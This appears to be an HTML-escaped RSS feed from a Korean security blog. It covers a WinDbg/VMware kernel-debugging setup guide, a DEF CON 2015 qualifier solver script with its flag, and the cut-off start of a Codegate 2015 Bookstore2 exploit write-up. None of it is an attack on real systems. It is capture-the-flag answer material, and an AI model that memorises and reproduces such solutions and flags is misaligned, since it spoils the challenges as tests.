alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.zip.004&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;윈도우 XP에서의 커널 디버깅 환경 세팅&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt; - Windows XP&lt;/p&gt;&lt;p&gt; - VMware Workstation 11&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;1. 윈도우XP가 깔린 VM이미지의 속성을 들어간다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:701px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/22766F45558675D630&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;626&quot; width=&quot;701&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 위와 같이 설정에 들어갔으면 아래 Add 버튼을 누른다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:441px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2433D945558675D604&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;437&quot; width=&quot;441&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 시리얼 포트를 선택하고 Next를 누른다. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;다음 화면은 귀찮아서 캡쳐 실패. 그런데 그냥 텍스트로 적어도 무방할 것 같다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. Serial Port 설정에서 '&lt;b&gt;Output to named pipe&lt;/b&gt;' 선택 후 Next 클릭&lt;/p&gt;&lt;p&gt;4. Named pipe에 '\\.\pipe\name' 식으로 파이프의 이름을 만들어준다. 예를들어서 '\\.\pipe\sweetchip' 도 좋다.&lt;/p&gt;&lt;p&gt;4-1. 그리고 &lt;b&gt;This end is the client&lt;/b&gt;. 와 &lt;b&gt;This other end is an application&lt;/b&gt; 각각 선택!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:695px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2271993D558676CF27&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;624&quot; width=&quot;695&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;그래서 설정을 살펴보면 이렇게 되도록 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;체크할 부분은 Use named pipe와 I/O mode이다. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. &lt;b&gt;마지막! I/O mode의 Yield CPU on poll을 체크한다.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그러면 VM웨어에서의 세팅을 마쳤다. 이제 XP에서 설정해보자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. XP의 시작 - 실행 - msconfin 입력&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. 시스템 구성 유틸리티의 BOOT.INI 탭 선택&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;8. 하단 고급 옵션 클릭.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:667px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/267873445586774306&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;374&quot; width=&quot;667&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;9. 그리고 /DEBUG 체크, /DEBUGPORT, /BAUDRATE 체크&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;10. 각각 설정을 위 사진처럼 설정. (디버그 포트는 COM1번, BAUDRATE는 115200)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Windows XP에서의 설정은 마쳤고 마지막으로 windbg에서 설정을 해야한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Windbg의 설정은 공통설정에서 하겠다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;11. 공통으로 이동&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;윈도우7 에서의 커널 디버깅 환경 세팅&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;1. 우선 Windows 7에서 설정을 해줘야 한다.&lt;/p&gt;&lt;p&gt; - XP에서와 마찬가지로 &lt;b&gt;시작 - 실행 - msconfig&lt;/b&gt; 입력&lt;/p&gt;&lt;p&gt; - 부팅 탭에서 &lt;b&gt;고급옵션&lt;/b&gt; 클릭&lt;/p&gt;&lt;p&gt; - 고급 옵션 창에서 &lt;b&gt;디버그, 디버그 포트, 전송속도 체크&lt;/b&gt; 및 &lt;b&gt;아래와 같이 설정&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:780px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2555CB395586794E08&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;489&quot; width=&quot;780&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 그리고 윈도우7의 전원을 끈다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:818px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/223191395586794F1F&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;653&quot; width=&quot;818&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. VMware에서 이미지의 속성을 들어간 뒤 하드웨어의 장치를 추가해줘야 한다.&lt;/p&gt;&lt;p&gt; - Virtual Machine Settings에서 Add 클릭&lt;/p&gt;&lt;p&gt; - Serial Port 클릭 후 Next&lt;/p&gt;&lt;p&gt; - Named Pipe에 위와 같이 설정.&lt;/p&gt;&lt;p&gt; - 파이프 이름 설정 - \\.\pipe\name (파이프 이름의 경우는 자유, 위 사진처럼 자유로 설정.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:705px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/251A8339558679512F&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;633&quot; width=&quot;705&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. 그리고 &lt;b&gt;I/O mode에서 Yield CPU on poll 체크&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;5. 공통으로 이동&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;[공통] Windbg에서 커널 디버깅하기&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;1. Windbg의 상단탭 File - Kernel Debugging에 들어간다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:963px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/235F1A335586781C06&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;909&quot; width=&quot;963&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. COM 탭 클릭후 아래 사진처럼 세팅한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:411px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/26280A335586781E29&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;275&quot; style=&quot;text-align: center;&quot; width=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. VMware에서 VM 시작을 누르면..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. 성공&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:1091px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/252556355586786039&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;890&quot; width=&quot;1091&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;성공이다!. 사진에서는 Windows XP인데 7이면 Windows 7 &lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;이라고 나온다&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;만약 위와 같은 과정으로 설정 해도 실패할 경우 아래를 살펴보세요,&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;지금까지 위처럼 해도 디버기가 디버거에 안붙길래 도데체 무슨 일이지 하고 있던 차에 무언가 이상한 것을 발견했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위의 경우는 Serial Port를 추가하면 이름은 Serial Port이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그러나 나의 경우는 Serial Port 2 라고 이름이 생성되었다. 그 말인 즉, 어떤 장치가 이미 시리얼 포트를 쓰고 있던 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;범인은 바로 프린터(Printer)가 COM1를 사용하고 있었고 이 친구 덕분에 위 설정으로는 디버기가 붙지 않게 되었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그러므로 VM에서 프린터가 쓸 일이 없다면 COM1 포트를 사용하기 위해서 과감하게 삭제 하고 붙이면 잘 작동 할 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;허무.. 어쨋든 이제야 잘 붙는다 오예!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;끝.&lt;/p&gt;</description>
      <category>0x10 정보보안/0x14 Reverse Engineering</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/377</guid>
      <comments>https://pgnsc.tistory.com/377#entry377comment</comments>
      <pubDate>Sun, 21 Jun 2015 17:51:35 +0900</pubDate>
    </item>
    <item>
      <title>Defcon 2015 coding challenge write-up</title>
      <link>https://pgnsc.tistory.com/376</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이번에 데프콘 대회는 순천향대 Security First, Leaveret 그리고 저희 동아리인 SSG 연합으로 나가게 되었는데&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이상하게도 작년보다 난이도가 더 어려운것 같네요.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문제들을 분석한것도 많고 취약점도 찾았지만 Exploit을 하지 못한 문제가 상당히 많았습니다 ㅠㅠ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이번 포스팅에는 그냥 문제중 한개인 코딩 챌린지를 풀이하도록 하겠습니다. (&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;문제 이름이 기억이 안나서 그냥 코딩 챌린지로 했습니다,)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;#!/usr/bin/env python&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import subprocess, os, tempfile&lt;/p&gt;&lt;p&gt;from ctypes import *&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;from socket import *&lt;/p&gt;&lt;p&gt;import time&lt;/p&gt;&lt;p&gt;import struct&lt;/p&gt;&lt;p&gt;# from pyasm import Program&lt;/p&gt;&lt;p&gt;# from pyasm.instructions import push, mov, ret, pop&lt;/p&gt;&lt;p&gt;# from pyasm.registers import eax, esp, ebp&lt;/p&gt;&lt;p&gt;from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;p= lambda x: struct.pack(&quot;&lt;L&quot;, x)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;PAGE_SIZE = 4096&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;class AssemblerFunction(object):&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  def __init__(self, code, ret_type, *arg_types):&lt;/p&gt;&lt;p&gt;    # Run Nasm&lt;/p&gt;&lt;p&gt;    fd, source = tempfile.mkstemp(&quot;.S&quot;, &quot;assembly&quot;, os.getcwd())&lt;/p&gt;&lt;p&gt;    os.write(fd, code)&lt;/p&gt;&lt;p&gt;    os.close(fd)&lt;/p&gt;&lt;p&gt;    target = os.path.splitext(source)[0]&lt;/p&gt;&lt;p&gt;    subprocess.check_call([&quot;nasm&quot;,source])&lt;/p&gt;&lt;p&gt;    os.unlink(source)&lt;/p&gt;&lt;p&gt;    binary = file(target,&quot;rb&quot;).read()&lt;/p&gt;&lt;p&gt;    os.unlink(target)&lt;/p&gt;&lt;p&gt;    bin_len = len(binary)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;    # align our code on page boundary.&lt;/p&gt;&lt;p&gt;    self.code_buffer = create_string_buffer(PAGE_SIZE*2 bin_len)&lt;/p&gt;&lt;p&gt;    addr = (addressof(self.code_buffer)   PAGE_SIZE) &amp; (~(PAGE_SIZE-1))&lt;/p&gt;&lt;p&gt;    memmove(addr, binary, bin_len)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;    # Change memory protection&lt;/p&gt;&lt;p&gt;    self.mprotect = cdll.LoadLibrary(&quot;libc.so.6&quot;).mprotect&lt;/p&gt;&lt;p&gt;    mp_ret = self.mprotect(addr, bin_len, 4)   # execute only.&lt;/p&gt;&lt;p&gt;    if mp_ret: raise OSError(&quot;Unable to change memory protection&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;    self.func = CFUNCTYPE(ret_type, *arg_types)(addr)&lt;/p&gt;&lt;p&gt;    self.addr = addr&lt;/p&gt;&lt;p&gt;    self.bin_len = bin_len&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  def __call__(self, *args):&lt;/p&gt;&lt;p&gt;    return self.func(*args)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  def __del__(self):&lt;/p&gt;&lt;p&gt;    # Revert memory protection&lt;/p&gt;&lt;p&gt;    if hasattr(self,&quot;mprotect&quot;):&lt;/p&gt;&lt;p&gt;      self.mprotect(self.addr, self.bin_len, 3)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;def mov(data):&lt;/p&gt;&lt;p&gt;  result = []&lt;/p&gt;&lt;p&gt;  data = data.split(&quot;\n&quot;)&lt;/p&gt;&lt;p&gt;  for i in data:&lt;/p&gt;&lt;p&gt;    if &quot;=&quot; in i:&lt;/p&gt;&lt;p&gt;      tmp = i.split('=')&lt;/p&gt;&lt;p&gt;      result.append(&quot;mov &quot; tmp[0] &quot;, &quot; tmp[1])&lt;/p&gt;&lt;p&gt;  return &quot;\n&quot;.join(result)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;if __name__ == &quot;__main__&quot;:&lt;/p&gt;&lt;p&gt;  ip = &quot;catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me&quot;&lt;/p&gt;&lt;p&gt;  port = 9999&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  s = socket(AF_INET, SOCK_STREAM)&lt;/p&gt;&lt;p&gt;  s.connect((ip, port))&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  lst = []&lt;/p&gt;&lt;p&gt;  inst = s.recv(1024)&lt;/p&gt;&lt;p&gt;  # print inst&lt;/p&gt;&lt;p&gt;  instructions = s.recv(1024).split(&quot;\n&quot;)[2]&lt;/p&gt;&lt;p&gt;  print instructions&lt;/p&gt;&lt;p&gt;  print instructions.encode(&quot;hex&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  l = Decode(0, instructions, Decode64Bits)&lt;/p&gt;&lt;p&gt;  t_ins = &quot;&quot;&lt;/p&gt;&lt;p&gt;  for i in l:&lt;/p&gt;&lt;p&gt;    t_ins  = i[2] &quot;\n&quot;&lt;/p&gt;&lt;p&gt;  movs =  mov(inst)&lt;/p&gt;&lt;p&gt;  # print movs&lt;/p&gt;&lt;p&gt;  # print t_ins&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  result = &quot;****Initial Register State****\n&quot;&lt;/p&gt;&lt;p&gt;  result = &quot;&quot;&lt;/p&gt;&lt;p&gt;  registers = [&quot;rax&quot;,&quot;rbx&quot;,&quot;rcx&quot;,&quot;rdx&quot;,&quot;rsi&quot;,&quot;rdi&quot;,&quot;r8&quot;,&quot;r9&quot;,&quot;r10&quot;,&quot;r11&quot;,&quot;r12&quot;,&quot;r13&quot;,&quot;r14&quot;,&quot;r15&quot;]&lt;/p&gt;&lt;p&gt;  for i in registers:&lt;/p&gt;&lt;p&gt;    add_func = &quot;&quot;&quot;BITS 64\n&quot;&quot;&quot; movs &quot;\n&quot; t_ins.replace(&quot;RET\n&quot;, &quot;&quot;) &quot;&quot;&quot;mov rax, &quot;&quot;&quot; i &quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;ret&lt;/p&gt;&lt;p&gt;    &quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;    print add_func&lt;/p&gt;&lt;p&gt;    Add = AssemblerFunction(add_func, c_uint64, c_uint64, c_uint64)&lt;/p&gt;&lt;p&gt;    result  = i &quot;=&quot; str(hex(Add(ord(os.urandom(1)), ord(os.urandom(1))))) &quot;\n&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  result = result.replace(&quot;L&quot;, &quot;&quot;)&lt;/p&gt;&lt;p&gt;  s.send(result)&lt;/p&gt;&lt;p&gt;  print result&lt;/p&gt;&lt;p&gt;  print s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;rax=0x9c8982fc3b5cfae9&lt;/p&gt;&lt;p&gt;rbx=0x20223acc7e6949cb&lt;/p&gt;&lt;p&gt;rcx=0x3a46c99c&lt;/p&gt;&lt;p&gt;rdx=0xd5239501c5b48bd&lt;/p&gt;&lt;p&gt;rsi=0xbabfac6bbf67bbfd&lt;/p&gt;&lt;p&gt;rdi=0xe8fb6dcfe0000000&lt;/p&gt;&lt;p&gt;r8=0xcde6d06e980dd1ce&lt;/p&gt;&lt;p&gt;r9=0x339f0bb7dee53e3e&lt;/p&gt;&lt;p&gt;r10=0x23a769fd87124021&lt;/p&gt;&lt;p&gt;r11=0x2cb79cbedc86431f&lt;/p&gt;&lt;p&gt;r12=0x4d32ab24658d00be&lt;/p&gt;&lt;p&gt;r13=0x7dab448d20a82708&lt;/p&gt;&lt;p&gt;r14=0x3c8b784c&lt;/p&gt;&lt;p&gt;r15=0x43ccf3fcf39883c6&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The flag is: Cats with frickin lazer beamz on top of their heads!&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문제는 간단하게 64비트 레지스터와 어셈블리 코드를 바이트코드화 해서 클라이언트에게 보내줍니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그러면 저희는 그 정보를 받아서 바이트 코드를 실행하고 레지스터 정보를 다시 되돌려 줘야 하는 문제인데요,&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;구글링해서 python에서 어셈블리 명령어를 실행하고 실행한 명령어의 결과값을 받아오는 스크립트가 있었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하지만 보내야 하는 것은 레지스터들 정보들이라서 결과값으로는 부족합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 쓴 간단한 꼼수가 함수의 결과값을 받아오는 스크립트이니 마지막에 mov rax, registers 를 붙여서 모든 레지스터의 값을 리턴하고 그 값을 받아오도록 코딩했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 한번 실행하면 16개의 레지스터들을 모두 얻어오고 서버로 보내면 키값을 되돌려 줍니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 저 스크립트를 실행시키면&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(219, 232, 251);&quot;&gt;The flag is: Cats with frickin lazer beamz on top of their heads!&lt;/span&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x13 Write-Up</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/376</guid>
      <comments>https://pgnsc.tistory.com/376#entry376comment</comments>
      <pubDate>Mon, 18 May 2015 15:07:44 +0900</pubDate>
    </item>
    <item>
      <title>Codegate 2015 Bookstore2 Write-up [Exploit]</title>
      <link>https://pgnsc.tistory.com/375</link>
      <description>&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;/p&gt;&lt;div&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;제가 이번 코드게이트에 출제한 문제는 총 2문제로 bookstore 와 bookstore2 이고 이번 포스팅은 &lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;Bookstore2 문제 풀이입니다.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:666px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2112A93D5531FC5907&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;672&quot; width=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;흔하지 않은 유형의 문제라고 생각하는데 바로 windows 운영체제에서의 pwnable 입니다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;일반적인 리눅스에서의 Pwnable 문제를 Windows에 적용시켜봤습니다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;이 문제는 원래 예선에서 내려고 했던 문제인데 아무래도 윈도우 문제이고 사람이 많다보니 운영에 문제가 될 수 있을것 같아서 본선에서 출제하기로 했습니다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;본선장에서는 대회가 끝나기 대략 6시간전에 2시간 뒤에 윈도우 문제가 나올것이라고 미리 말해주고 서버 환경을 알려줬습니다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;또한 대회 전날까지 고의적으로 키값등을 삭제하는 